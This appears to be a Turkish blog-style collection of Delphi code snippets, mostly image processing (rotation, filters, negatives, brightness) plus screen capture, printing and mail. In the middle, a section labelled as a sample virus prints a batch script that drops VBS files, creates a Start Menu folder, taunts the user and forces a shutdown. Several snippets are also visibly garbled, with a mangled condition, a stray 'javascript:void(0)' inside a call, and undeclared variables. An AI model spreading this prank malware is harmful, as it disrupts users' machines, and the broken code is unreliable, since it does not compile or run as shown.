ScreenCapture yapma-Mouse sağ tuşu ile

procedure DrawCursor(ScreenShotBitmap : TBitmap);
var
r: TRect;
CI: TCursorInfo;
Icon: TIcon;
II: TIconInfo;
begin
r := ScreenShotBitmap.Canvas.ClipRect;
Icon := TIcon.Create;
try
CI.cbSize := SizeOf(CI);
if GetCursorInfo(CI) then
if CI.Flags = CURSOR_SHOWING then
begin
Icon.Handle := CopyIcon(CI.hCursor);
if GetIconInfo(Icon.Handle, II) then
begin
ScreenShotBitmap.Canvas.Draw(
ci.ptScreenPos.x - Integer(II.xHotspot) - r.Left,
ci.ptScreenPos.y - Integer(II.yHotspot) - r.Top,
Icon
);
end;
end;
finally
Icon.Free;
end;
end;

Bu kısım OnClick Olayına eklenecek....
var
pic : TBitmap;
begin
pic := TBitmap.Create;
try
ScreenShot(0,0,Screen.Width,Screen.Height,pic);
DrawCursor(pic);
//Image1.Picture.Assign(pic);
finally
pic.FreeImage;
FreeAndNil(pic);
end;

Resim yazıcıdan nasıl alınır

procedure TForm1.Print1Click(Sender: TObject);
var
AspectRatio: Single;
OutputWidth, OutputHeight: Single;
begin
if not PrintDialog1.Execute then Exit;
Printer.BeginDoc;
try
OutputWidth:=Image3.Picture.Width;
OutputHeight:=Image3.Picture.Height;
AspectRatio := OutputWidth / OutputHeight;
if (OutputWidth and(OutputHeightbegin
if OutputWidth < OutputHeight then
begin
OutputHeight := Printer.PageHeight;
OutputWidth := OutputHeight * AspectRatio;
end
else
begin OutputWidth := Printer.PageWidth;
OutputHeight := OutputWidth / AspectRatio;
end
end;
if OutputWidth > Printer.PageWidth then
begin
OutputWidth:=Printer.PageWidth;
OutputHeight:=OutputWidth/AspectRatio;
end;
if OutputHeight > Printer.PageHeight then
begin
OutputHeight := Printer.PageHeight;
OutputWidth := OutputHeight * AspectRatio;
end;
Printer.Canvas.StretchDraw(Rect(0,0,
trunc(OutputWidth), Trunc(OutputHeight)),
Image3.Picture.Graphic);
finally
Printer.EndDoc;
end;
end;


NOT:Uses printers;eklenecek.

Image Mail

Resimleri delphi içerisinden nasıl mail ile gönderebiliriz.

resourcestring
SSendError = 'Error sending mail';

uses mapi;

procedure TForm1.ImageSentToMail1Click(Sender: TObject);
var MapiMessage: TMapiMessage; MError: Cardinal;
begin
with MapiMessage do
begin ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Image1.Picture);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 0;
lpRecips := nil;
nFileCount := 0;
lpFiles := nil;
end;
MError := MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI
or MAPI_NEW_SESSION, 0);
if MError <> 0 then MessageDlg(SSendError, mtError, [mbOK], 0);
end;

Flip Reverse

unit Unit1;
interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
CheckBoxFlip: TCheckBox;
Image1: TImage;
editFilename: TEdit;
EditFactor: TEdit;
CheckBoxReverse: TCheckBox;
LabelShrinkFactor: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;

implementation
{$R *.DFM}
// Flip/Reverse/Shrink bitmap
// Shrink by resampling by specified factor in both dimensions
FUNCTION FlipReverse(CONST FName: STRING;
CONST FlipIt: BOOLEAN;
CONST ReverseIt: BOOLEAN;
CONST Factor: INTEGER): TBitmap;
TYPE
TRGBTripleArray = ARRAY[WORD] OF TRGBTriple;
pRGBTripleArray = ^TRGBTripleArray;

VAR
Bitmap : TBitmap;
ColumnIn: INTEGER;
rowIn : pRGBTripleArray;
RowOut : pRGBTripleArray;
x : INTEGER;
y : INTEGER;
BEGIN
ASSERT (Factor > 0);
BitMap := TBitMap.Create;
Result := TBitMap.Create;
try
BitMap.LoadfromFile(FName);
// TRGBTripleArray Scanline is only good for pf24bit bitmap,
// so force this if necessary
IF Bitmap.PixelFormat <> pf24bit
THEN Bitmap.PixelFormat := pf24bit;
// "Output" bitmap is same size as "Input" only if Factor = 1
Result.Height := BitMap.Height DIV Factor;
Result.Width := BitMap.Width DIV Factor;
Result.PixelFormat := BitMap.PixelFormat; // pf24bit
// Only process "output" pixels and "fetch" pixels from input bitmap
// Define flip to be "top to bottom" and reverse to be "left to right"
for y := 0 TO (BitMap.Height DIV Factor)-1 do
begin
rowOut := Result.Scanline[y];
if FlipIt
then rowIn := Bitmap.Scanline[Bitmap.Height - 1 - Factor*y]
else rowIn := Bitmap.Scanline[Factor*y];
for x := 0 TO (BitMap.Width DIV Factor)-1 do
begin
if ReverseIt
then ColumnIn := Bitmap.Width - 1 - Factor*x
else ColumnIn := Factor*x;
with rowOut[x] do
begin
rgbtRed := rowIn[ColumnIn].rgbtRed;
rgbtGreen := rowIn[ColumnIn].rgbtGreen;
rgbtBlue := rowIn[ColumnIn].rgbtBlue;
end
end
end
finally
BitMap.free;
END

// Don't free result. Calling program will be responsible for that.
END;

procedure TForm1.Button1Click(Sender: TObject);
Var Bitmap: TBitmap;
begin
Bitmap := FlipReverse(EditFilename.Text, CheckBoxFlip.Checked, CheckBoxReverse.Checked,
StrToInt(EditFactor.Text));
TRY
// Display on screen
Image1.Picture.Graphic := Bitmap;
FINALLY
Bitmap.Free
END
end;end.

Horizontal Image

procedure TForm1.Horizontal1Click(Sender: TObject);
Var
DummyImage : TImage;
X,Y : Integer;
SrcRect,DstRect : TRect;
Begin
X := Image1.Picture.Width;
Y := Image1.Picture.Height;
SrcRect := Rect(0,0,X,Y); //0,0,X,Y
DstRect := Rect(X,0,0,Y); //X,0,0,Y
DummyImage := TImage.Create(Self);
DummyImage.Width := X;
DummyImage.Height := Y;
DummyImage.Canvas.CopyRect(DstRect,Image1.Canvas,SrcRect);
Image1.Picture := DummyImage.Picture;
DummyImage.Free;
end;

Image Filter

procedure Emboss(Bitmap : TBitmap; AMount : Integer);
var
x, y, i : integer;
p1, p2: PByteArray;
begin
for i := 0 to AMount do
begin
for y := 0 to Bitmap.Height-2 do
begin
p1 := Bitmap.ScanLine[y];
p2 := Bitmap.ScanLine[y+1];
for x := 0 to Bitmap.Width do
begin
p1[x*3] := (p1[x*3]+(p2[(x+3)*3] xor $FF)) shr 1;
p1[x*3+1] := (p1[x*3+1]+(p2[(x+3)*3+1] xor $FF)) shr 1;
p1[x*3+2] := (p1[x*3+1]+(p2[(x+3)*3+1] xor $FF)) shr 1;
end;end;end;end;

procedure TForm1.Emboss1Click(Sender: TObject);
begin
Emboss(Image1.Picture.Bitmap,10);
end;

Brightness Image

procedure TForm1.Brightness1Click(Sender: TObject);
begin
With form1 do
with filelistbox1 do
With form3 do
begin
if (FileExt = '.BMP') then
begin
OrigImage.Picture.LoadFromFile(Filelistbox1.FileName);
DestImage.Picture.LoadFromFile(Filelistbox1.FileName);
form3.show;
end;end;end;

Arka plana resim atma (BackGround)

procedure TForm1.FormCreate(Sender: TObject);
begin
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile('C:\WINDOWS\cars.BMP');
end;

procedure TForm1.FormPaint(Sender: TObject);
var
X, Y, W, H: LongInt;
begin
with Bitmap do begin
W := Width;
H := Height;
end;
Y := 0;
while Y < Height do begin
X := 0;
while X < Width do begin
Canvas.Draw(X, Y, Bitmap);
Inc(X, W);
end;
Inc(Y, H);
end;
end;

Alias Image oluşturma

procedure AntiAlias(const i: TBitmap; var o: TBitmap);
var
Po: ^PixelA3;
P1, P2, P3, P4, P5: ^PixelA15;
x, y: Cardinal;
dekrement: Cardinal;
AntAussen, AntMitte, AntInnen: double;
begin
AntAussen := 12*4;;//12
AntMitte := 8*4; //8
AntInnen := 2; //2
dekrement := 2*(i.Width-2);
P1 := i.ScanLine[0];
P2 := i.ScanLine[1];
P3 := i.ScanLine[2];
P4 := i.ScanLine[3];
P5 := i.ScanLine[4];
for y := 2 to i.Height-4 do
begin
Po := o.ScanLine[y];
inc(Po, 1);
for x := 4 to i.Width-4 do
begin
Po^[1] := round(((P1^[4]+P1^[7]+P1^[10]+P2^[1]+ P2^[13]+ P3^[1]+ P3^[13]+P4^[1]+P4^[13]+
P5^[4]+P5^[7]+P5^[10])/ AntAussen)+((P2^[4]+P2^[7]+P2^[10]+P3^[4]+P3^[10]+P4^[4]+P4^[7]+P4^[10])/AntMitte)+
(P3^[7]/AntInnen));
Po^[2] := round(((P1^[5]+P1^[8]+P1^[11]+P2^[2]+P2^[14]+P3^[2]+P3^[14]+P4^[2]+P4^[14] +
P5^[5]+P5^[8]+P5^[11])/AntAussen)+((P2^[5]+P2^[8]+P2^[11]+P3^[5]+P3^[11]+P4^[5]+P4^[8]+P4^[11])/AntMitte) +
(P3^[8]/AntInnen));
Po^[3] := round(((P1^[6]+P1^[9]+P1^[12]+P2^[3]+P2^[15]+P3^[3]+P3^[15]+P4^[3]+P4^[15]+P5^[6]+P5^[9]+P5^[12])/AntAussen)+
((P2^[6]+P2^[9]+P2^[12]+P3^[6]+P3^[12]+P4^[6]+P4^[9]+P4^[12])/AntMitte)+(P3^[9]/AntInnen));
inc(PByte(P1), 3);inc(PByte(P2), 3);inc(PByte(P3), 3);inc(PByte(P4), 3);inc(PByte(P5), 3);
inc(Po, 1);end;
dec(PByte(P2), dekrement);
dec(PByte(P3), dekrement);
dec(PByte(P4), dekrement);
dec(PByte(P5), dekrement);
P1 := P2;P2 := P3;P3 := P4;P4 := P5;P5 := i.ScanLine[y+3];
end;end;

procedure TForm1.Antiallias1Click(Sender: TObject);
var Image1 : TBitmap;
begin
Image1 := TBitmap.Create;
Image1.Width := 141;
Image1.Height := 197;
Image1.PixelFormat := pf24Bit;
Image1 := TBitmap.Create;
Image1.Width := 141;
Image1.Height := 197;
Image1.PixelFormat := pf24Bit;
AntiAlias(Image1, Image1);
end;

Resim çevirme-03

procedure RotateBitmap(var hBitmapDC : Longint; var lWidth : Longint;
var lHeight : Longint; lRadians : real);
begin
hNewBitmapDC := CreateCompatibleDC(hBitmapDC);
lSine := Sin(lRadians);
lCosine := Cos(lRadians);
X1 := Round(-lHeight * lSine);
Y1 := Round(lHeight * lCosine);
X2 := Round(lWidth * lCosine - lHeight * lSine);
Y2 := Round(lHeight * lCosine + lWidth * lSine);
X3 := Round(lWidth * lCosine);
Y3 := Round(lWidth * lSine);
lMinX := Min(0, Min(X1, Min(X2, X3)));
lMinY := Min(0, Min(Y1, Min(Y2, Y3)));
lMaxX := Max(X1, Max(X2, X3));
lMaxY := Max(Y1, Max(Y2, Y3));
lNewWidth := lMaxX - lMinX;
lNewHeight := lMaxY - lMinY;
hNewBitmap := CreateCompatibleBitmap(hBitmapDC, lNewWidth, lNewHeight);
SelectObject(hNewBitmapDC, hNewBitmap);
For I := 0 To lNewHeight do begin
For J := 0 To lNewWidth do begin
lSourceX := Round((J +lMinX) * lCosine + (I + lMinY) * lSine);
lSourceY := Round((I + lMinY) * lCosine - (J + lMinX) * lSine);
If (lSourceX >= 0) And (lSourceX <= lWidth) And
(lSourceY >= 0) And (lSourceY <= lHeight) Then
BitBlt(hNewBitmapDC, J, I, 1, 1, hBitmapDC,
lSourceX, lSourceY, SRCCOPY);
end;
end;
lWidth := lNewWidth;
lHeight := lNewHeight;
hBitmapDC := hNewBitmapDC;
DeleteObject(hNewBitmap);
End;

procedure TForm1.Rotate1Click(Sender: TObject);
var lRadians : real;
DC : longint;
H, W : integer;
Degrees : integer;
begin
Degrees := 90;
lRadians := PI * Degrees / 180;
DC := Image1.Picture.Bitmap.Canvas.Handle;
H := Image1.Picture.Bitmap.Height;
W := Image1.Picture.Bitmap.Width;
RotateBitmap(DC, W, H, lRadians);
Image1.Width := W;
Image1.Height := H;
Image1.Picture.Bitmap.Width := W;
Image1.Picture.Bitmap.Height := H;
BitBlt(Image1.Picture.Bitmap.Canvas.Handle, 0, 0, W, H, DC, 0, 0, SRCCopy);
Image1.Refresh;
end;

Resim çevirme-02

Procedure cevir(Src, Dst: TImage);
var x,y: integer;
begin
Dst.Width:= Src.Height; Dst.Height:= Src.Width;
For x:= 0 to Src.Width-1 do begin
For y:= 0 to Src.Height-1 do begin
Dst.Canvas.Pixels[(Src.Height-1)-y,x]:= Src.Canvas.Pixels[x,y];
end;
end;
end;

Resim çevirme-01

Const PixelMax = 32768;
Type
pPixelArray = ^TPixelArray;
TPixelArray = Array[0..PixelMax-1] Of TRGBTriple;

Procedure RotateBitmap_ads(
SourceBitmap : TBitmap;
out DestBitmap : TBitmap;
Center : TPoint;
Angle : Double) ;
Var
cosRadians : Double;
inX : Integer;
inXOriginal : Integer;
inXPrime : Integer;
inXPrimeRotated : Integer;
inY : Integer;
inYOriginal : Integer;
inYPrime : Integer;
inYPrimeRotated : Integer;
OriginalRow : pPixelArray;
Radians : Double;
RotatedRow : pPixelArray;
sinRadians : Double;
begin
DestBitmap.Width := SourceBitmap.Width;
DestBitmap.Height := SourceBitmap.Height;
DestBitmap.PixelFormat := pf24bit;
Radians := -(Angle) * PI / 180;
sinRadians := Sin(Radians) ;
cosRadians := Cos(Radians) ;
For inX := DestBitmap.Height-1 Downto 0 Do
Begin
RotatedRow := DestBitmap.Scanline[inX];
inXPrime := 2*(inX - Center.y) + 1;
For inY := DestBitmap.Width-1 Downto 0 Do
Begin
inYPrime := 2*(inY - Center.x) + 1;
inYPrimeRotated := Round(inYPrime * CosRadians - inXPrime * sinRadians) ;
inXPrimeRotated := Round(inYPrime * sinRadians + inXPrime * cosRadians) ;
inYOriginal := (inYPrimeRotated - 1) Div 2 + Center.x;
inXOriginal := (inXPrimeRotated - 1) Div 2 + Center.y;
If
(inYOriginal >= 0) And
(inYOriginal <= SourceBitmap.Width-1) And
(inXOriginal >= 0) And
(inXOriginal <= SourceBitmap.Height-1)
Then
Begin
OriginalRow := SourceBitmap.Scanline[inXOriginal];
RotatedRow[inY] := OriginalRow[inYOriginal]
End
Else
Begin
RotatedRow[inY].rgbtBlue := 255;
RotatedRow[inY].rgbtGreen := 0;
RotatedRow[inY].rgbtRed := 0
End;
End;
End;
End;

{Usage:}
procedure TForm1.Button1Click(Sender: TObject) ;
Var
Center : TPoint;
Bitmap : TBitmap;
begin
Bitmap := TBitmap.Create;
Try
Center.y := (Image.Height div 2)+20;
Center.x := (Image.Width div 2)+0;
RotateBitmap_ads(
Image.Picture.Bitmap,
Bitmap,javascript:void(0)
Center,
Angle) ;
Angle := Angle + 15;
Image2.Picture.Bitmap.Assign(Bitmap) ;
Finally
Bitmap.Free;
End;end;

Virus Antivirus

Örnek Virüs
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\mkstyle.vbs
echo …………………
echo:
echo:
start /w wscript.exe C:\mkstyle.vbs
echo NEXT…………!
echo:
echo:
echo:
echo:
start /w wscript.exe C:\mkstyle.vbs
echo …………
start /w wscript.exe C:\mkstyle.vbs
echo MKSTYLE…….!
start /w wscript.exe C:\mkstyle.vbs
echo:
echo:
echo:
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir MKSTYLE_CRACKER
start /w wscript.exe C:\mkstyle.vbs
echo:
echo:
echo HAPPY BIRTHDAY
echo:
echo:
start /w wscript.exe C:\mkstyle.vbs
echo ………..
echo zzzzzzz….
echo:
start /w wscript.exe C:\mkstyle.vbs
echo OKE….Virus AKTIF!
echo:
start /w wscript.exe C:\mkstyle.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
start /w wscript.exe C:\mkstyle.vbs
pause
shutdown -f -s -c

Cut-Copy-Paste

procedure TForm1.Cut1Click(Sender: TObject);
var
ARect: TRect;
begin
Copy1Click(Sender);
with Image.Canvas do
begin
CopyMode := cmWhiteness;
ARect := Rect(0, 0, Image.Width, Image.Height);
CopyRect(ARect, Image.Canvas, ARect);
CopyMode := cmSrcCopy;
end;
end;

procedure TForm1.Paste1Click(Sender: TObject);
var
Bitmap: TBitmap;
begin
if Clipboard.HasFormat(CF_BITMAP) then
begin
Bitmap := TBitmap.Create;
try
Bitmap.Assign(Clipboard);
Image.Canvas.Draw(0, 0, Bitmap);
finally
Bitmap.Free;
end;
end;
end;

procedure TForm1.SaveStyles;
begin
with Image.Canvas do
begin
BrushStyle := Brush.Style;
PenStyle := Pen.Style;
PenWide := Pen.Width;
end;
end;

Image Sefia

function bmptosepia(const bmp: TBitmap; depth: Integer): Boolean;
var
color,color2:longint;
r,g,b,rr,gg:byte;
h,w:integer;
begin
for h := 0 to bmp.height do
begin
for w := 0 to bmp.width do
begin
color:=colortorgb(bmp.Canvas.pixels[w,h]);
r:=getrvalue(color);
g:=getgvalue(color);
b:=getbvalue(color);
color2:=(r+g+b) div 3;
bmp.canvas.Pixels[w,h]:=RGB(color2,color2,color2);
color:=colortorgb(bmp.Canvas.pixels[w,h]);
r:=getrvalue(color);
g:=getgvalue(color);
b:=getbvalue(color);
rr:=r+(depth*2);
gg:=g+depth;
if rr <= ((depth*2)-1) then
rr:=255;
if gg <= (depth-1) then
gg:=255;
bmp.canvas.Pixels[w,h]:=RGB(rr,gg,b);
end;end;end;

procedure TForm1.Sefia1Click(Sender: TObject);
begin
bmptosepia(image1.picture.bitmap, 100);
end;

Resmin parlaklığını artırma-Constrat

Procedure Highlight(aSource, ATarget: TBitmap; AColor: TColor);

Var

i, j: Integer;
s, t: pRGBTriple;
r, g, b: Byte;
cl: TColor;

Begin
cl:= ColorToRGB(AColor);
r:= GetRValue(cl);
g:= GetGValue(cl);
b:= GetBValue(cl);
aSource.PixelFormat := pf24bit;
ATarget.PixelFormat := pf24bit;
ATarget.Width := aSource.Width;
ATarget.Height := aSource.Height;

For i:= 0 to aSource.Height - 1 Do
Begin
s:= ASource.Scanline[i];
t:= ATarget.Scanline[i];
For j := 0 to aSource.Width - 1 Do
Begin
t^.rgbtBlue := (b * s^.rgbtBlue) div 255;
t^.rgbtGreen := (g * s^.rgbtGreen) div 255;
t^.rgbtRed := (r * s^.rgbtRed) div 255;
Inc(s);
Inc(t);
End; End;End;

procedure Form1.Button1OnClick (Sender: TObject);
begin
Highlight(Image1.Picture.Bitmap, Image2.Picture.Bitmap,clWhite);
end;

Örneğin bir düğmenin tıklanma olayına yazararak kullanabilirsin.(Button on click)
Bunun için bir forma 2 resim bir düğme koyarsan yeterli olur.

Image1 içine bir resim yerleştir.Denemek için küçük bir resim olsun.
Image2 yide Image1 boturlarında yan yana koy.Image2 nin içine resim koyma yanlız.
Sonra aşağıdaki button1.onClik event ına yerleştir.

Negatif image

procedure TForm1.Negative1Click(Sender: TObject);
var
GrayPal: TMaxLogPalette;
i: Integer;
begin
for i := 0 to 255 do
with GrayPal.palPalEntry[i] do
begin
peRed := i;
peGreen := i;
peBlue := i;
peFlags := 0; end;
grayPal.palVersion := $0300;
GrayPal.palNumEntries := 256;
Image1.Picture.Bitmap.PixelFormat := pf8bit;
Image1.Picture.Bitmap.Palette := CreatePalette( PLogPalette(@GrayPal)^ );
Image1.Picture.Bitmap.Width := Image1.Picture.Bitmap.Width;
Image1.Picture.Bitmap.Height := Image1.Picture.Bitmap.Height;
Image1.Picture.Bitmap.Canvas.Draw( 0, 0, Image1.Picture.Bitmap);
end;

Negatif image

unit NegImg;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
OrigImg: TImage;
Button1: TButton;
RadioGroup1: TRadioGroup;
Label5: TLabel;
Label6: TLabel;
OpenBtn: TButton;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure OpenBtnClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

procedure NegativeBitmap(OrigBmp, DestBmp: TBitmap);
procedure FastNegativeBitmap(OrigBmp, DestBmp: TBitmap);
procedure InvertBitmap(OrigBmp, DestBmp: TBitmap);

const
MaxPixelCount = 32768;

type
PRGBArray = ^TRGBArray;
TRGBArray = array[0..MaxPixelCount - 1] of TRGBTriple;

implementation



{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
IniTime, ElapsedTime: DWord;
begin
Label6.Caption := '';

IniTime := GetTickCount;

case RadioGroup1.ItemIndex of
0: NegativeBitmap(OrigImg.Picture.Bitmap, OrigImg.Picture.Bitmap);
1: FastNegativeBitmap(OrigImg.Picture.Bitmap, OrigImg.Picture.Bitmap);
2: InvertBitmap(OrigImg.Picture.Bitmap, OrigImg.Picture.Bitmap);
end;
ElapsedTime := GetTickCount - IniTime;

Label6.Caption := Format('%d ms', [ElapsedTime]);
end;

procedure NegativeBitmap(OrigBmp, DestBmp: TBitmap);
var
i, j, R, G, B: Integer;
TmpBmp: TBitmap;
begin
// Create a temporal bitmap. This allows to use the same bitmap
// as input or output
TmpBmp := TBitmap.Create;

try
// Assign the temporal bitmap the same characteristics as the original
TmpBmp.Width := OrigBmp.Width;
TmpBmp.Height := OrigBmp.Height;
TmpBmp.PixelFormat := OrigBmp.PixelFormat;

// For each row
for i := 0 to TmpBmp.Height - 1 do
begin
// For each column
for j := 0 to TmpBmp.Width - 1 do
begin
// r := 255 - GetRValue(OrigBmp.Canvas.Pixels[j, i]);
// g := 255 - GetGValue(OrigBmp.Canvas.Pixels[j, i]);
// b := 255 - GetBValue(OrigBmp.Canvas.Pixels[j, i]);

R := not GetRValue(OrigBmp.Canvas.Pixels[j, i]);
G := not GetGValue(OrigBmp.Canvas.Pixels[j, i]);
B := not GetBValue(OrigBmp.Canvas.Pixels[j, i]);

TmpBmp.Canvas.Pixels[j, i] := RGB(R, G, B);
end; // Column
end; // Row

// Assign the negative bitmap to the destination bitmap
DestBmp.Assign(TmpBmp);
finally
// Destroy temp bitmap
TmpBmp.Free;
end;
end;

procedure FastNegativeBitmap(OrigBmp, DestBmp: TBitmap);
var
i, j: Integer;
TmpBmp: TBitmap;
OrigRow, DestRow: PRGBArray;
begin
// Create a temporal bitmap. This allows to use the same bitmap
// as input or output
TmpBmp := TBitmap.Create;

try
// Assign the temporal bitmap the same characteristics as the original
TmpBmp.Width := OrigBmp.Width;
TmpBmp.Height := OrigBmp.Height;
OrigBmp.PixelFormat := pf24bit;
TmpBmp.PixelFormat := OrigBmp.PixelFormat;

// For each row
for i := 0 to TmpBmp.Height - 1 do
begin
// Sssign current ScanLines
OrigRow := OrigBmp.ScanLine[i];
DestRow := TmpBmp.ScanLine[i];

// For each column
for j := 0 to TmpBmp.Width - 1 do
begin
// Invert red, green, blue values
// DestRow[j].rgbtRed := 255 - OrigRow[j].rgbtRed;
// DestRow[j].rgbtGreen := 255 - OrigRow[j].rgbtGreen;
// DestRow[j].rgbtBlue := 255 - OrigRow[j].rgbtBlue;

DestRow[j].rgbtRed := not OrigRow[j].rgbtRed;
DestRow[j].rgbtGreen := not OrigRow[j].rgbtGreen;
DestRow[j].rgbtBlue := not OrigRow[j].rgbtBlue;
end;
end;

// Assign the negative bitmap to the destination bitmap
DestBmp.Assign(TmpBmp);
finally
// Destroy temp bitmap
TmpBmp.Free;
end;
end;


procedure InvertBitmap(OrigBmp, DestBmp: TBitmap);
begin
// use of the GDI InvertRect() A>PI is even faster...
InvertRect(OrigBmp.Canvas.Handle, OrigBmp.Canvas.ClipRect);
DestBmp.Assign(OrigBmp);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
try
OrigImg.Picture.LoadFromFile('Delphi.bmp'); //burada derlerken hataverebilir hatta verir bunu bir butona atasanız iyi olur
except
end;
end;

procedure TForm1.OpenBtnClick(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
OrigImg.Picture.LoadFromFile(OpenDialog1.FileName);
OrigImg.Refresh;
end;
end;

end.

Jpeg Brightness

unit Unit3;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, ComCtrls, StdCtrls,jpeg;

type
TForm3 = class(TForm)
ScrollBox1: TScrollBox;
ScrollBox2: TScrollBox;
TrackBar1: TTrackBar;
OrigImage: TImage;
DestImage: TImage;
ValueLbl: TLabel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
procedure FormCreate(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure DestImageDblClick(Sender: TObject);
private
{ Private declarations }

public
{ Public declarations }
end;

var
Form3: TForm3;
const
MaxPixelCount = 32768;

type
pRGBArray = ^TRGBArray;
TRGBArray = ARRAY[0..MaxPixelCount-1] OF TRGBTriple;

function Min(a, b: integer): integer;
function Max(a, b: integer): integer;

implementation

uses Viewer;

{$R *.DFM}

procedure TForm3.FormCreate(Sender: TObject);
var
jpg: TJpegImage;
begin
jpg := TJpegImage.Create;
OrigImage.Picture.Bitmap.PixelFormat := pf24bit;
DestImage.Picture.Bitmap.PixelFormat := pf24bit;
TrackBar1.Position := 0;
ValueLbl.Caption := '0';
end;

procedure TForm3.TrackBar1Change(Sender: TObject);
var i, j, value: integer;
OrigRow, DestRow: pRGBArray;
OrigImage,DestImage:TJPEGImage;//test
begin
// get brightness increment value
value := TTrackBar(Sender).Position;
if value <= 0 then ValueLbl.Caption := IntToStr(value)
else ValueLbl.Caption := Format('+%d', [value]);
// for each row of pixels
for i := 0 to OrigImage.Picture.Height - 1 do
begin
OrigRow := OrigImage.Picture.Bitmap.ScanLine[i];
DestRow := DestImage.Picture.Bitmap.ScanLine[i];
// for each pixel in row
for j := 0 to OrigImage.Picture.Width - 1 do
begin
// add brightness value to pixel's RGB values
if value > 0 then
begin
// RGB values must be less than 256
DestRow[j].rgbtRed := Min(255, OrigRow[j].rgbtRed + value);
DestRow[j].rgbtGreen := Min(255, OrigRow[j].rgbtGreen + value);
DestRow[j].rgbtBlue := Min(255, OrigRow[j].rgbtBlue + value);
end else begin
// RGB values must be greater or equal than 0
DestRow[j].rgbtRed := Max(0, OrigRow[j].rgbtRed + value);
DestRow[j].rgbtGreen := Max(0, OrigRow[j].rgbtGreen + value);
DestRow[j].rgbtBlue := Max(0, OrigRow[j].rgbtBlue + value);
end;
end;
application.ProcessMessages;

DestImage.rePaint;
end;
end;

function Min(a, b: integer): integer;
begin
if a < b then result := a
else result := b;
end;

function Max(a, b: integer): integer;
begin
if a > b then result := a
else result := b;
end;end.

Jpeg To Grb Convert

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var Form1: TForm1;
implementation
uses jpeg;

{$R *.dfm}

function ConvertBitmapToGrayscale(const Bitmap: TBitmap): TBitmap;
var i, j: Integer; Grayshade, Red, Green, Blue: Byte; PixelColor: Longint;
begin
with Bitmap do
for i := 0 to Width - 1 do
for j := 0 to Height - 1 do
begin
PixelColor := ColorToRGB(Canvas.Pixels[i, j]);
Red := PixelColor;
Green := PixelColor shr 8;
Blue := PixelColor shr 16;
Grayshade := Round(0.3 * Red + 0.6 * Green + 0.1 * Blue);
Canvas.Pixels[i, j] := RGB(Grayshade, Grayshade, Grayshade);
end;
Result := Bitmap;
end;

procedure ConvertToBitmap(Source : TGraphic; Bitmap : TBitmap);
begin
try
if Bitmap = nil then
Bitmap := TBitmap.Create
Else Bitmap.FreeImage;
Bitmap.Width := Source.Width;
Bitmap.Height := Source.Height;
Bitmap.Canvas.Draw(0,0,Source);
except
showmessage('No Loaded File');
end;end;

procedure TForm1.Button1Click(Sender: TObject);
var
MyJpeg,OperatedJpeg:TJPEGImage;
MyBitmap,OperatedBitmap:TBitmap;
Begin
if OpenDialog1.Execute then
begin
MyJpeg := TJPEGImage.Create;
MyBitmap := TBitmap.Create;
OperatedBitmap := TBitmap.Create;
OperatedJpeg := TJPEGImage.Create;
try
MyJpeg.LoadFromFile(OpenDialog1.FileName);
ConvertToBitmap(MyJpeg,MyBitmap);
// Do any Bitmap Operation Here
//For Example i Convert Bitmap To GrayScale and perform result into
//operateBitmap
OperatedBitmap := ConvertBitmapToGrayscale(MyBitmap);
//Perform operated bitmap into jpeg
OperatedJpeg.Assign(OperatedBitmap);
OperatedJpeg.SaveToFile(OpenDialog1.FileName+'-Gray.jpeg');
Showmessage('Operation Completed')
finally
MyJpeg.Free;
OperatedJpeg.Free;
end;end;end; end.